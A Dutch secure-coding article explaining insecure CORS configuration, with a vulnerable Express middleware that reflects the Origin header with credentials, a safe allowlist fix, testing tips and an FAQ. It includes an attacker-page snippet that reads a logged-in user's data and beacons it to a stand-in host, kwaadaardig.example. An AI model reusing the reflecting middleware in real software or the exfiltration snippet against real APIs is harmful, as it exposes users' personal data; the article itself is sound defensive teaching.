Onveilige CORS-configuratie
CWE-942CWE-346OWASP A05:2021Bijgewerkt 3 september 20265 min leestijd
Cross-Origin Resource Sharing bepaalt welke andere sites de antwoorden van uw API mogen lezen. Wordt de meegestuurde Origin klakkeloos weerspiegeld en staan er tegelijk credentials aan, dan kan elke site gegevens van uw ingelogde gebruikers uitlezen. De same-origin policy die uw browser normaal beschermt, is dan bewust uitgezet.
De same-origin policy is de belangrijkste scheidslijn in de browser: zonder die regel zou elke site de gegevens van elke andere site kunnen uitlezen. CORS is het mechanisme waarmee u die regel bewust versoepelt voor partijen die u vertrouwt. Een configuratiefout daarin is dus niet zomaar een verkeerde instelling: het is het uitschakelen van de bescherming zelf. Dat gebeurt makkelijker dan het klinkt, en het herstel is precies werk.
Wat is CORS?
Cross-Origin Resource Sharing (CORS) is een reeks HTTP-headers waarmee een server aangeeft welke andere herkomsten haar antwoorden mogen inlezen. Standaard staat de browser dat niet toe: JavaScript op site-a.example mag wel een verzoek naar api.site-b.example sturen, maar het antwoord niet lezen. Die scheiding is precies wat voorkomt dat een willekeurige website uw webmail of bankomgeving kan uitlezen terwijl u ingelogd bent.
Met Access-Control-Allow-Origin doorbreekt u die scheiding voor specifieke partijen. Dat is legitiem en vaak nodig: een frontend op een ander domein dan de API, een partner die uw dienst integreert, een mobiele applicatie. Het probleem ontstaat wanneer de lijst van toegestane partijen in de praktijk neerkomt op “iedereen”.
Vergelijk het met een bezoekersregeling. U kunt bepaalde partners toestemming geven om binnen te lopen. Maar een regeling die neerkomt op “wie zich aan de deur meldt, mag naar binnen” is geen regeling; het is een open deur met een formulier ernaast.
Hoe gaat een CORS-configuratie mis?
De gevaarlijkste variant ontstaat uit een oplossing voor een praktisch probleem: er zijn te veel legitieme herkomsten om op te sommen, dus wordt de meegestuurde waarde maar teruggegeven.
Kwetsbaar:
// De herkomst van de aanvrager wordt klakkeloos weerspiegeld
app.use((req, res, next) => {
res.set('Access-Control-Allow-Origin', req.get('Origin'));
res.set('Access-Control-Allow-Credentials', 'true');
next();
});
Dit werkt uitstekend voor alle legitieme frontends, en dat is nu juist waarom het blijft staan. Al de Origin-header wordt bepaald door de site die het verzoek doet, dus ook door de site van een aanvaller. Het gevolg:
// Op de pagina van de aanvaller, bezocht door een ingelogde gebruiker
const antwoord = await fetch('https://api.portaal.example/mijn/gegevens', {
credentials: 'include', // stuurt de sessiecookie mee
});
const gegevens = await antwoord.json();
navigator.sendBeacon('https://kwaadaardig.example/in', JSON.stringify(gegevens));
De browser stuurt de sessiecookie mee, de server antwoordt met Access-Control-Allow-Origin: https://kwaadaardig.example en Allow-Credentials: true, en de browser staat het uitlezen toe. De aanvaller heeft nu de gegevens van elke ingelogde bezoeker van zijn pagina, zonder wachtwoord, zonder injectie en zonder dat er in uw logbestanden iets ongewoons staat.
Een variant hierop is een controle die alleen kijkt of de herkomst uw domeinnaam bevat. https://portaal.example.kwaadaardig.example bevat de tekst portaal.example en glipt er dan doorheen.
Veilig:
const TOEGESTAAN = new Set([
'https://portaal.example',
'https://beheer.portaal.example',
]);
app.use((req, res, next) => {
const origin = req.get('Origin');
if (origin && TOEGESTAAN.has(origin)) { // exacte overeenkomst
res.set('Access-Control-Allow-Origin', origin);
res.set('Access-Control-Allow-Credentials', 'true');
res.set('Access-Control-Allow-Methods', 'GET, POST');
res.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.set('Access-Control-Max-Age', '600');
}
res.set('Vary', 'Origin'); // cache mag niet mengen
next();
});
De vergelijking is nu exact en gebeurt tegen een vaste lijst; er wordt niets weerspiegeld dat er niet op staat. Vary: Origin is daarbij geen detail: zonder die header kan een cache het antwoord voor de ene herkomst aan een andere serveren, waarmee u de fout alsnog introduceert.
http:// toe naast https://, en neem geen ontwikkel- of testomgevingen op in de productieconfiguratie. Een vergeten http://localhost:3000 in de lijst is een bekende bevinding die in de praktijk misbruikt kan worden.Wat is de impact van een onveilige CORS-configuratie?
De ernst loopt van middelzwaar tot hoog en hangt af van twee dingen: wat de API teruggeeft en of Allow-Credentials aanstaat.
Staat dat laatste uit, dan blijft de schade beperkt: een aanvaller kan de API benaderen, maar zonder de sessie van het slachtoffer en dus alleen als anonieme gebruiker. Staat het aan in combinatie met een te ruim beleid, dan is de uitkomst vergelijkbaar met cross-site scripting: elke site die uw gebruiker bezoekt kan namens hem gegevens opvragen en de antwoorden lezen.
De onzichtbaarheid maakt het bijzonder lastig. Het slachtoffer hoeft alleen een pagina te bezoeken; er is geen klik nodig, geen download en geen waarschuwing. De verzoeken komen vanaf zijn eigen browser met zijn eigen sessie, dus in de logbestanden van de applicatie is niets afwijkends te zien. Afhankelijk van wat de API blootstelt, gaat het om persoonsgegevens, documenten, klantinformatie of, als er ook schrijfacties mogelijk zijn, om wijzigingen namens de gebruiker.
Hoe spoor je een onveilige CORS-configuratie op?
Een tester stuurt verzoeken met een zelfgekozen Origin-header en kijkt wat de server terugstuurt. Wordt die waarde weerspiegeld in Access-Control-Allow-Origin, dan is de belangrijkste bevinding meteen rond. Staat er daarnaast Access-Control-Allow-Credentials: true, dan is het risico direct concreet.
Daarna volgen de varianten die vaak worden gemist. Wordt de herkomst gecontroleerd met een vergelijking die alleen op een deel van de tekst let, zodat portaal.example.kwaadaardig.example of kwaadaardigportaal.example wordt geaccepteerd? Wordt de waarde null toegestaan, die een aanvaller vanuit een sandboxed iframe kan produceren? Staan er onbedoelde herkomsten op de lijst, zoals testomgevingen of een http://-variant? En ontbreekt Vary: Origin, waardoor een tussenliggende cache antwoorden kan verwisselen? Ook wordt gekeken of het beleid per endpoint verschilt: een strikte instelling op de hoofdroute zegt niets over een oudere API die er nog naast draait. AssistSec beoordeelt daarbij ook wat er via die endpoints te halen valt, omdat de ernst uiteindelijk wordt bepaald door de gegevens die eruit komen.
Hoe voorkom je een onveilige CORS-configuratie?
- Werk met een vaste lijst van toegestane herkomsten en vergelijk daar exact tegen, inclusief protocol en poort.
- Weerspiegel nooit de
Origin-header zonder controle, ook niet “tijdelijk” tijdens ontwikkeling. - Zet
Access-Control-Allow-Credentialsalleen aan wanneer dat echt nodig is, en nooit samen met een jokerteken. - Sta de waarde
nullniet toe; die is door een aanvaller eenvoudig te produceren. - Stuur altijd
Vary: Originmee, zodat caches antwoorden voor verschillende herkomsten niet vermengen. - Houd ontwikkel- en testherkomsten uit de productieconfiguratie.
- Beperk
Allow-MethodsenAllow-Headerstot wat werkelijk nodig is. - Blijf CSRF-tokens gebruiken; CORS beschermt het lezen van antwoorden, niet het uitvoeren van acties.
- Controleer het beleid per endpoint, inclusief oudere API-versies die nog bereikbaar zijn.
Bronnen
Veelgestelde vragen
Waarom is Origin weerspiegelen zo gevaarlijk?
Omdat de Origin-header wordt bepaald door de site die het verzoek doet. Weerspiegelt u die waarde, dan zegt u in feite tegen elke site dat zij toegestaan is. In combinatie met Allow-Credentials betekent dat: elke site mag uw API benaderen met de cookies van uw ingelogde gebruiker en het antwoord lezen.
Mag ik een jokerteken gebruiken?
Alleen voor werkelijk publieke gegevens waarbij geen authenticatie in het spel is. Browsers weigeren de combinatie van een jokerteken met Allow-Credentials, en dat is een bewuste veiligheidsmaatregel. Probeer die niet te omzeilen door de Origin dan maar te weerspiegelen.
Beschermt CORS tegen CSRF?
Nee, en die verwarring is hardnekkig. CORS regelt of een andere site het antwoord mag lezen; het verzoek zelf wordt vaak gewoon verstuurd en uitgevoerd. Een statewijzigende actie kan dus slagen terwijl de aanvaller het antwoord niet ziet. U hebt daarnaast CSRF-tokens nodig.
Is null een veilige waarde om toe te staan?
Nee, integendeel. De waarde null verschijnt onder meer bij verzoeken uit een sandboxed iframe, en die kan een aanvaller zelf op zijn eigen pagina maken. Het toestaan van null komt daarmee neer op het toestaan van willekeurige sites.
Verwante artikelen
- KwetsbaarhedenCWE-284A01:2021Broken access controlBroken access control uitgelegd: horizontale en verticale escalatie, forced browsing, en hoe u met deny by default serverzijdig autoriseert.
- KwetsbaarhedenCWE-352A01:2021Cross-site request forgery (CSRF)Cross-site request forgery (CSRF) uitgelegd: hoe een aanvaller de browser van een ingelogde gebruiker misbruikt voor ongewenste acties, en hoe u het voorkomt.
- KwetsbaarhedenCWE-1275A07:2021SameSite-attribuut op Lax in plaats van StrictSameSite=Lax laat cookies meegaan bij navigatie vanaf externe sites. Lees wanneer dat een risico is en wanneer Strict de betere keuze is.
- KwetsbaarhedenCWE-16A05:2021Security misconfigurationSecurity misconfiguration uitgelegd: hoe standaardwachtwoorden, debug-modi en open cloud-buckets aanvallers binnenlaten, en hoe u dit voorkomt.
- KwetsbaarhedenCWE-1385A01:2021Cross-site WebSocket hijackingEen WebSocket-verbinding valt buiten de same-origin policy. Zonder controle op de Origin kan een vreemde site meelezen en meesturen.